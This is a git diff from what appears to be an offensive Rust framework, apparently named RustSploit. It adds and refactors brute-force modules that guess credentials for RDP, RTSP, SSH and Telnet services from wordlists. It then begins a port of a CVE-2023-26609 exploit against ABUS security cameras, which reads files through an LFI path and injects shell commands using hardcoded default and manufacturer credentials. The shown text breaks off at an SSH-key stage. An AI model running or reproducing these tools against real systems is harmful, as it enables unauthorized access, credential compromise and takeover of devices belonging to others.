let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
match input.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
}
}
}
@@ -212,11 +314,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
Ok(reader.lines().filter_map(Result::ok).collect())
}
fn log(verbose: bool, msg: &str) {
@@ -226,10 +324,8 @@ fn log(verbose: bool, msg: &str) {
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
.map(|n| PathBuf::from(format!("./{}", n.to_string_lossy())))
.unwrap_or_else(|| PathBuf::from(input))
}
+2
View File
@@ -5,3 +5,5 @@
pub mod telnet_bruteforce;
pub mod ssh_bruteforce;
pub mod rtsp_bruteforce_advanced;
pub mod rdp_bruteforce;
pub mod enablebruteforce;
+240
View File
@@ -0,0 +1,240 @@
use anyhow::Result;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
process::Command,
sync::Mutex,
time::{sleep, Duration},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== RDP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("RDP Port", "3389")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "rdp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let addr = format_socket_address(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_rdp_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let mut child = Command::new("xfreerdp")
.arg(format!("/v:{}", addr))
.arg(format!("/u:{}", user))
.arg(format!("/p:{}", pass))
.arg("/cert:ignore")
.arg("/timeout:5000")
.arg("/log-level:OFF")
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::piped())
.spawn()?;
let status = child.wait().await?;
Ok(status.success())
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
// —— updated helper to handle any number of brackets ——
fn format_socket_address(ip: &str, port: u16) -> String {
// Strip all existing brackets from the ends, no matter how many layers
let trimmed = ip.trim_matches(|c| c == '[' || c == ']').to_string();
// If it still contains a colon, assume IPv6 and wrap in one pair of brackets
if trimmed.contains(':') {
format!("[{}]:{}", trimmed, port)
} else {
format!("{}:{}", trimmed, port)
}
}
@@ -1,6 +1,6 @@
use anyhow::{anyhow, Result};
use base64::Engine as _;
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
@@ -20,9 +20,6 @@ pub async fn run(target: &str) -> Result<()> {
println!("=== Advanced RTSP Brute Force Module ===");
println!("[*] Target: {}", target);
//------------------------------
// 1) Basic Brute Force Settings
//------------------------------
let port: u16 = loop {
let input = prompt_default("RTSP Port", "554")?;
match input.parse() {
@@ -52,18 +49,11 @@ pub async fn run(target: &str) -> Result<()> {
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
//------------------------------
// 2) Advanced Features
//------------------------------
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
// By default, we'll demonstrate a DESCRIBE method.
// You could prompt for multiple commands, but here's one for simplicity.
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
// Prompt for custom headers file
let headers_file = prompt_yes_no("Load extra RTSP headers from a file?", false)?;
if headers_file {
if prompt_yes_no("Load extra RTSP headers from a file?", false)? {
let headers_path = prompt_required("Path to RTSP headers file")?;
advanced_headers = load_lines(&headers_path)?;
}
@@ -72,77 +62,56 @@ pub async fn run(target: &str) -> Result<()> {
None
};
//------------------------------
// 3) Brute Force RTSP Paths
//------------------------------
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
// If not brute forcing paths, we just do an empty vector or single slash
vec!["".to_string()] // We'll interpret "" as no path specified
vec!["".to_string()]
};
//------------------------------
// 4) Begin Brute Force
//------------------------------
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
// Load user list
let users = load_lines(&usernames_file)?;
// Load password list
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let pass_lines: Vec<_> = BufReader::new(File::open(&passwords_file)?)
.lines()
.filter_map(Result::ok)
.collect();
let mut idx = 0;
// For each password
for pass in pass_lines {
// If we've already found valid creds and we're stopping on success, break early
if *stop.lock().await {
break;
}
// If combo_mode is true, each password tries all users.
// Otherwise, line up each user with the “idx” (like a parallel dictionary).
let userlist = if combo_mode {
users.clone()
} else {
// Use user at "idx % users.len()" if were not in combo_mode
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
// We batch tasks up to "concurrency"
let mut handles = vec![];
// For each username
for user in userlist {
// For each path
for path in &paths {
if *stop.lock().await {
break;
}
// Clone references for the task
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let path = path.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
// The advanced method & headers
let command = advanced_command.clone();
let headers = advanced_headers.clone();
let handle = tokio::spawn(async move {
// Check again if we've been signaled to stop
if *stop.lock().await {
return;
}
@@ -150,29 +119,21 @@ pub async fn run(target: &str) -> Result<()> {
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
Ok(true) => {
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
println!("[+] {} -> {}:{} [path={}]",
addr, user, pass, path_str);
println!("[+] {} -> {}:{} [path={}]", addr, user, pass, path_str);
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path));
}
Err(e) => {
log(verbose, &format!("[!] {} -> error: {}", addr, e));
}
Ok(false) => log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path)),
Err(e) => log(verbose, &format!("[!] {} -> error: {}", addr, e)),
}
// A short delay between attempts
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
// If we reach concurrency, wait for them to finish before scheduling more
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
@@ -181,7 +142,6 @@ pub async fn run(target: &str) -> Result<()> {
}
}
// Wait for any leftover tasks in the batch
for h in handles {
let _ = h.await;
}
@@ -189,9 +149,6 @@ pub async fn run(target: &str) -> Result<()> {
idx += 1;
}
//------------------------------
// 5) Show Results / Save
//------------------------------
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found (with these paths).");
@@ -214,8 +171,42 @@ pub async fn run(target: &str) -> Result<()> {
Ok(())
}
/// Attempt to authenticate via RTSP (with optional advanced method + headers).
/// Returns Ok(true) if successful, Ok(false) if incorrect credentials, Err(...) if we cant connect/parse response.
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
// 1) If it's a literal SocketAddr, return it directly
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
// 2) Split into host / port
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
(h.to_string(), p.parse().unwrap_or(554))
} else {
(addr.to_string(), 554)
};
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
// 4) DNS lookup (handles A + AAAA)
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
async fn try_rtsp_login(
addr: &str,
user: &str,
@@ -224,55 +215,66 @@ async fn try_rtsp_login(
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
// Parse the address to confirm it's valid
let socket_addr: SocketAddr = addr.parse()
.map_err(|e| anyhow!("Invalid socket address '{}': {}", addr, e))?;
let addrs = resolve_targets(addr).await?;
let mut last_err = None;
let mut stream = None;
let mut connected_sa = None;
// Open TCP connection to camera
let mut stream = TcpStream::connect(socket_addr)
.await
.map_err(|e| anyhow!("Connection error: {}", e))?;
// Try each candidate address
for sa in addrs {
match TcpStream::connect(sa).await {
Ok(s) => {
stream = Some(s);
connected_sa = Some(sa);
break;
}
Err(e) => {
last_err = Some(e);
continue;
}
}
}
// If the user wants advanced mode, use "method" (e.g., DESCRIBE) + headers.
// Otherwise, fallback to OPTIONS. We'll do "DESCRIBE" by default if method is Some("DESCRIBE").
let rtsp_method = method.unwrap_or("OPTIONS");
// Build path portion (some cameras expect the path in the request line).
// If path is empty, we skip it. Or default to / if you want.
let path_str = if path.is_empty() {
"" // or "/"
} else {
path
// Unwrap the successful connection and SocketAddr
let (mut stream, sa) = match (stream, connected_sa) {
(Some(s), Some(sa)) => (s, sa),
_ => {
return Err(anyhow!(
"All connection attempts failed: {}",
last_err.map(|e| e.to_string()).unwrap_or_default()
))
}
};
// Build Basic Auth
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
let ip_str = sa.ip().to_string();
let host_for_uri = if ip_str.contains(':') {
format!("[{}]:{}", ip_str, sa.port())
} else {
format!("{}:{}", ip_str, sa.port())
};
let rtsp_method = method.unwrap_or("OPTIONS");
let path_str = if path.is_empty() { "" } else { path };
let credentials = Base64.encode(format!("{}:{}", user, pass));
// Build the RTSP request line
let mut request = format!(
"{method} rtsp://{addr}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
addr = addr,
path = path_str.trim_start_matches('/'), // avoid double slash
host = host_for_uri,
path = path_str.trim_start_matches('/'),
auth = credentials,
);
// Append extra headers if advanced mode is on
for header in extra_headers {
// We assume each line in extra_headers is valid, e.g. "User-Agent: MyCameraClient"
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
// End with a blank line
request.push_str("\r\n");
// Send request
stream.write_all(request.as_bytes()).await?;
// Read response
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
@@ -280,7 +282,6 @@ async fn try_rtsp_login(
}
let response = String::from_utf8_lossy(&buffer[..n]);
// Very naive checks
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
@@ -290,7 +291,8 @@ async fn try_rtsp_login(
}
}
/// Prompts the user for a required field (no default allowed).
// ─── Prompt and utility functions unchanged ───────────────────────────────────
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
@@ -300,27 +302,20 @@ fn prompt_required(msg: &str) -> Result<String> {
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
println!("This field is required.");
}
}
/// Prompts the user for a value with a default fallback.
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
Ok(if trimmed.is_empty() { default.to_string() } else { trimmed.to_string() })
}
/// Prompts the user for a yes/no question, with a default answer.
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
@@ -328,20 +323,15 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
match s.trim().to_lowercase().as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
}
}
}
/// Loads a file, returning non-empty lines in a Vec.
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
@@ -353,14 +343,12 @@ fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
.collect())
}
/// Prints log messages only in verbose mode.
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
/// Returns a PathBuf in the current directory for the given filename.
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
+35 -3
View File
@@ -141,14 +141,14 @@ pub async fn run(target: &str) -> Result<()> {
}
async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let addr = addr.to_string();
let normalized = format_host_port(addr)?;
let user = user.to_string();
let pass = pass.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&addr) {
match TcpStream::connect(&normalized) {
Ok(tcp) => {
let mut sess = Session::new()?; // ✅ fixed here
let mut sess = Session::new()?; // ✅ SSH session
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user, &pass) {
@@ -164,6 +164,38 @@ async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
Ok(result)
}
/// 💡 Format IP/hostname into `host:port` with safe IPv6 wrapping,
/// stripping any extra nesting of `[`/`]`.
fn format_host_port(input: &str) -> Result<String> {
// If its already exactly "[ipv6]:port" (no nested brackets inside), accept it as-is.
if input.starts_with('[') {
if let Some(end) = input.find("]:") {
let inner = &input[1..end];
if !inner.contains('[') && !inner.contains(']') {
return Ok(input.to_string());
}
}
}
// Otherwise, split off the port by the last ':'.
let parts: Vec<&str> = input.rsplitn(2, ':').collect();
if parts.len() != 2 {
return Err(anyhow!("Invalid target address format: '{}'", input));
}
let port = parts[0];
let raw_host = parts[1];
// Strip _all_ leading '[' and trailing ']' from the host part
let host = raw_host.trim_matches(|c| c == '[' || c == ']');
// If its an IPv6 (contains ':'), wrap exactly once.
if host.contains(':') {
Ok(format!("[{}]:{}", host, port))
} else {
Ok(format!("{}:{}", host, port))
}
}
// === Utility Functions ===
fn prompt_required(msg: &str) -> Result<String> {
+134 -88
View File
@@ -1,11 +1,13 @@
use anyhow::{Result, Context};
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::ToSocketAddrs;
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use telnet::Event;
use threadpool::ThreadPool;
use crossbeam_channel::{unbounded};
use crossbeam_channel::unbounded;
use telnet::Telnet;
pub async fn run(target: &str) -> Result<()> {
@@ -16,9 +18,15 @@ pub async fn run(target: &str) -> Result<()> {
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try every username with every password? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose mode? (y/n): ").trim().eq_ignore_ascii_case("y");
let stop_on_success = prompt("Stop on first valid login? (y/n): ")
.trim()
.eq_ignore_ascii_case("y");
let full_combo = prompt("Try every username with every password? (y/n): ")
.trim()
.eq_ignore_ascii_case("y");
let verbose = prompt("Verbose mode? (y/n): ")
.trim()
.eq_ignore_ascii_case("y");
let config = TelnetBruteforceConfig {
target,
@@ -47,10 +55,11 @@ struct TelnetBruteforceConfig {
}
fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
let addr = format!("{}:{}", config.target, config.port);
// 1) Normalize & validate host:port
let addr = normalize_target(&config.target, config.port)
.context("Invalid target address")?;
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address")?
.to_socket_addrs()?
.next()
.context("Unable to resolve target address")?;
@@ -64,61 +73,57 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
// 2) Build the combo queue
if config.full_combo {
for user in &usernames {
for pass in &passwords {
tx.send((user.clone(), pass.clone()))?;
for u in &usernames {
for p in &passwords {
tx.send((u.clone(), p.clone()))?;
}
}
} else if usernames.len() == 1 {
for p in &passwords {
tx.send((usernames[0].clone(), p.clone()))?;
}
} else if passwords.len() == 1 {
for u in &usernames {
tx.send((u.clone(), passwords[0].clone()))?;
}
} else {
if usernames.len() == 1 {
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
} else if passwords.len() == 1 {
for user in &usernames {
tx.send((user.clone(), passwords[0].clone()))?;
}
} else {
println!("[!] Warning: Multiple usernames and passwords loaded, but full_combo is OFF. Trying first username with all passwords.");
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
println!("[!] Multiple creds & full_combo=OFF → using first username.");
for p in &passwords {
tx.send((usernames[0].clone(), p.clone()))?;
}
}
drop(tx);
// 3) Spawn workers
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let creds = Arc::clone(&creds);
let config = config.clone();
let cfg = config.clone();
pool.execute(move || {
while let Ok((username, password)) = rx.recv() {
while let Ok((user, pass)) = rx.recv() {
if *stop_flag.lock().unwrap() {
break;
}
if config.verbose {
println!("[*] Trying {}:{}", username, password);
if cfg.verbose {
println!("[*] Trying {}:{}", user, pass);
}
match try_telnet_login(&addr, &username, &password) {
match try_telnet_login(&addr, &user, &pass) {
Ok(true) => {
println!("[+] Valid credentials: {}:{}", username, password);
creds.lock().unwrap().push((username, password));
if config.stop_on_success {
println!("[+] Valid: {}:{}", user, pass);
creds.lock().unwrap().push((user, pass));
if cfg.stop_on_success {
*stop_flag.lock().unwrap() = true;
break;
}
}
Ok(false) => {}
Err(e) => {
if config.verbose {
if cfg.verbose {
eprintln!("[!] Error: {}", e);
}
}
@@ -126,25 +131,26 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
}
});
}
pool.join();
let creds = creds.lock().unwrap();
if creds.is_empty() {
// 4) Report & optional save
let found = creds.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials found.");
} else {
println!("\n[+] Found credentials:");
for (u, p) in creds.iter() {
for (u, p) in found.iter() {
println!(" - {}:{}", u, p);
}
let save = prompt("\n[?] Save credentials to file? (y/n): ");
if save.trim().eq_ignore_ascii_case("y") {
let filename = prompt("Enter filename to save: ");
if let Err(e) = save_results(&filename, &creds) {
eprintln!("[!] Failed to save results: {}", e);
if prompt("\n[?] Save to file? (y/n): ")
.trim()
.eq_ignore_ascii_case("y")
{
let file = prompt("Filename: ");
if let Err(e) = save_results(&file, &found) {
eprintln!("[!] Failed to save: {}", e);
} else {
println!("[+] Results saved to '{}'", filename);
println!("[+] Results saved to '{}'", file);
}
}
}
@@ -152,43 +158,55 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
Ok(())
}
/// Attempt a single login, with 0.7 s connect+I/O timeout
fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
let mut connection = Telnet::connect((addr, 23), 256)
.context("Failed to connect to Telnet server")?;
// Resolve to SocketAddr
let socket = addr
.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let mut login_prompt_seen = false;
let mut pass_prompt_seen = false;
// Connect with 1500 ms timeout
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500))
.context("Connection timed out")?;
// I/O timeout
stream
.set_read_timeout(Some(Duration::from_millis(1500)))
.context("Failed to set read timeout")?;
stream
.set_write_timeout(Some(Duration::from_millis(1500)))
.context("Failed to set write timeout")?;
// Wrap into Telnet
let mut connection = Telnet::from_stream(Box::new(stream), 256);
let mut login_seen = false;
let mut pass_seen = false;
for _ in 0..10 {
let event = connection.read().context("Failed to read from Telnet")?;
match event {
Event::Data(buffer) => {
let output = String::from_utf8_lossy(&buffer).to_lowercase();
if !login_prompt_seen && (output.contains("login:") || output.contains("username")) {
connection.write(format!("{}\n", username).as_bytes())?;
login_prompt_seen = true;
} else if login_prompt_seen && !pass_prompt_seen && output.contains("password") {
connection.write(format!("{}\n", password).as_bytes())?;
pass_prompt_seen = true;
} else if pass_prompt_seen {
// Look for signs of successful or failed login
if output.contains("incorrect")
|| output.contains("failed")
|| output.contains("denied")
{
return Ok(false);
} else if output.contains("last login")
|| output.contains("$")
|| output.contains("welcome")
|| output.contains("#")
{
return Ok(true);
}
let event = connection.read().context("Read error or timeout")?;
if let Event::Data(buffer) = event {
let out = String::from_utf8_lossy(&buffer).to_lowercase();
if !login_seen && (out.contains("login:") || out.contains("username")) {
connection.write(format!("{}\n", username).as_bytes())?;
login_seen = true;
} else if login_seen && !pass_seen && out.contains("password") {
connection.write(format!("{}\n", password).as_bytes())?;
pass_seen = true;
} else if pass_seen {
if out.contains("incorrect")
|| out.contains("failed")
|| out.contains("denied")
{
return Ok(false);
}
if out.contains("last login")
|| out.contains("$")
|| out.contains("#")
|| out.contains("welcome")
{
return Ok(true);
}
}
_ => {}
}
}
@@ -196,22 +214,50 @@ fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool>
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Unable to open {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).collect())
let f = File::open(path).context(format!("Unable to open {}", path))?;
Ok(BufReader::new(f).lines().filter_map(Result::ok).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
let mut f = OpenOptions::new()
.create(true)
.write(true)
.truncate(true)
.open(path)?;
for (u, p) in creds {
writeln!(file, "{}:{}", u, p)?;
writeln!(f, "{}:{}", u, p)?;
}
Ok(())
}
fn prompt(message: &str) -> String {
print!("{}", message);
fn prompt(msg: &str) -> String {
print!("{}", msg);
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
input.trim().to_string()
let mut buf = String::new();
io::stdin().read_line(&mut buf).unwrap();
buf.trim().to_string()
}
/// Enhanced IPv4/IPv6/domain normalizer & resolver
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let caps = re
.captures(host.trim())
.ok_or_else(|| anyhow::anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str().parse::<u16>().context("Invalid port value")?
} else {
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
// Verify DNS/getaddrinfo
formatted
.to_socket_addrs()
.context(format!("Could not resolve {}", formatted))?;
Ok(formatted)
}
@@ -0,0 +1,153 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
// CVE: CVE-2023-26609
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
// Cargo.toml:
// [dependencies]
// anyhow = "1.0"
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
// md5 = "0.7.0"
use anyhow::{Result, anyhow};
use md5;
use reqwest::Client;
use std::io::{self, Write};
/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
fn format_host(raw: &str) -> String {
if raw.contains(':') {
// strip any number of existing brackets, then wrap once
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
format!("[{}]", stripped)
} else {
raw.to_string()
}
}
/// Send authenticated LFI request
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
let host = format_host(target);
let url = format!(
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
host, filepath
);
println!("[*] Sending LFI request to: {}", url);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Body:\n{}", resp.text().await?);
Ok(())
}
/// Send authenticated RCE request with command injection
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let host = format_host(target);
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
host, cmd
);
println!("[*] Sending RCE request to: {}", url);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Body:\n{}", resp.text().await?);
Ok(())
}
/// Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
